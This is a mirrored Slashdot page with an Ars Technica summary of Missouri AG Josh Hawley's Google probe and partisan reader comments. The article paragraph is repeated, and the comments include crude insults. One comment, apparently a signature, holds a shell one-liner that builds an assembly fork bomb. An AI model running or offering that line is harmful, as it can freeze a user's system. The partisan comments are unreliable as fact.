Slashdot Mirror
Why Google Should Be Afraid of a Missouri Republican's Google Probe (arstechnica.com)
An anonymous reader quotes a report from Ars Technica: The Republican attorney general of Missouri has launched an investigation into Google's business practices. Josh Hawley wants to know how Google handles user data. And he plans to look into whether Google is using its dominance in the search business to harm companies in other markets where Google competes. It's another sign of growing pressure Google is facing from the political right. Grassroots conservatives increasingly see Google as falling on the wrong side of the culture wars. So far that hasn't had a big impact in Washington policymaking. But with Hawley planning to run for the U.S. Senate next year, we could see more Republican hostility toward Google -- and perhaps other big technology companies -- in the coming years. The Hawley investigation will dig into whether Google violated Missouri's consumer-protection and antitrust laws. Specifically, Hawley will investigate: "Google's collection, use, and disclosure of information about Google users and their online activities," "Google's alleged misappropriation of online content from the websites of its competitors," and "Google's alleged manipulation of search results to preference websites owned by Google and to demote websites that compete with Google." States like Missouri have their own antitrust laws and the power to investigate company business conduct independently of the feds. So Hawley seems to be taking yet another look at those same issues to see if Google's conduct runs afoul of Missouri law.
We don't know if Hawley will get the Republican nomination or win his challenge to Sen. Claire McCaskill (D-Mo.) next year, but people like him will surely be elected to the Senate in the coming decade. Hawley's decision to go after Google suggests that he sees some upside in being seen as an antagonist to a company that conservatives increasingly view with suspicion. More than that, it suggests that Hawley believes it's worth the risk of alienating the GOP's pro-business wing, which takes a dim view of strict antitrust enforcement even if it targets a company with close ties to Democrats.
We don't know if Hawley will get the Republican nomination or win his challenge to Sen. Claire McCaskill (D-Mo.) next year, but people like him will surely be elected to the Senate in the coming decade. Hawley's decision to go after Google suggests that he sees some upside in being seen as an antagonist to a company that conservatives increasingly view with suspicion. More than that, it suggests that Hawley believes it's worth the risk of alienating the GOP's pro-business wing, which takes a dim view of strict antitrust enforcement even if it targets a company with close ties to Democrats.
That guy that was fired for pissing off coworkers claimed to be conservative. So the righties are out for google now. Also since Silicon Valley tends to be liberal the conservatives now hate tech companies.
They don't have a problem with Google's business practices, their privacy intrusion, their anti-trust violations. The problem is that they do all these things while not supporting the GOP.
Maybe if Sundar Pichai, the CEO of Google were to molest some children they'd be more comfortable with him.
You are welcome on my lawn.
Yup. And actually the recent kerfuffle with Keurig shows the same thing.
Media Matters called up Keurig and convinced them to pull advertising from Hannity because he was, according to Media Matters 'pro child molestor'. None of which was true of course.
http://www.dailywire.com/news/...
So Keurig pulled their ads. Of course at that point the right started a 'boycott Keurig' campaign, with videos of people smashing their Keurig machines. Though as Ben Shapiro pointed out - smashing a machine you already own doesn't make any sense. All you need to do is stop buying K cups from Keurig.
Now in the long run this means that companies will either be Democrat companies or Republican ones. Up to now that hasn't happened. E.g.
http://www.foodandwine.com/fwx...
Experian assigned number values to restaurants, with 100 representing neutral territory. That means that a restaurant that scores 120 on the liberal index boasts 20 percent more liberals at its tables than average. The numbers aren't all that surprising. California Pizza Kitchen brings in the most liberals, with a score of 146 on the lefty index. O'Charley's-a chain located throughout the South and Midwest-and Cracker Barrel have the most conservative clientele, scoring 121 and 118, respectively, on the righty index.
I live outside the US and CPK used to have a branch near me and I used to quite like their salads, despite being politically conservative. If I was in the US I'd have gone there too. However suppose CPK took a political stand I didn't approve of. Then I'd eat somewhere else.
Companies don't realise that as soon as they take a political position they will please about half the people and alienate about half. However the people they please are not going to shop their more and the people they alienate can easily shop somewhere else. I.e. companies taking an open political stance is a net loss.
People who don't realise this are spending too much time inside an echo chamber were everyone things their politics are virtuous and the other side's politics are evil.
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;
That's a reflection upon you if you think Bernie Sanders is middle of the road.
The biggest problem in politics is we don't have a definition of "right" that makes any sense.
Ayn Rand and Adolf Htler cannot both be "right-wing". They are mutually exclusive.
If you're scared of your govt then you need to further restrict its powers
Vote 3rd Party in 2016 and beyond
Which of these facts are you claiming is not a fact?: "the FBI told Fox News that its investigation had found no evidence so far warranting the filing of federal criminal charges in connection with the controversy, as it had not found any evidence of "enemy hunting", and that the investigation continued. On October 23, 2015, the Justice Department declared that no criminal charges would be filed. On September 8, 2017, the Trump Justice Department declined to reopen the criminal investigation into Lois Lerner, a central figure in the controversy.[1] " (wikipedia https://en.wikipedia.org/wiki/...) (see also: https://www.npr.org/sections/i... )
What you really mean is that mean old nasty IRS was actually enforcing the regulations concerning 501(c) groups that were ILLEGALLY putting money into Republican campaigns, and were allowing the wealthy to anonymously contribute thousands of dollars which they wouldn't have been able to do through normal campaign donations. It seems like conservatives in general think that the laws don't apply to them, because they think they're doing "God's work", and to them, 'God's laws' (or rather, their very constrained and contorted INTERPRETATIONS of 'God's laws') always beat out 'Man's laws'.
This is the same dynamic that has conservatives excoriating Bill and Hillary (him for having an affair, and her for sticking by him in spite of the affair), while ignoring or excusing the serial philandering of Newt Gingrich, Henry Hyde's affair, Bob Livingston's affair, or the paraphilia of Denis Hastert. This is the same dynamic that allows conservatives to decry the actions of Harry Weinstein, while ignoring the similar allegations against Roy Moore.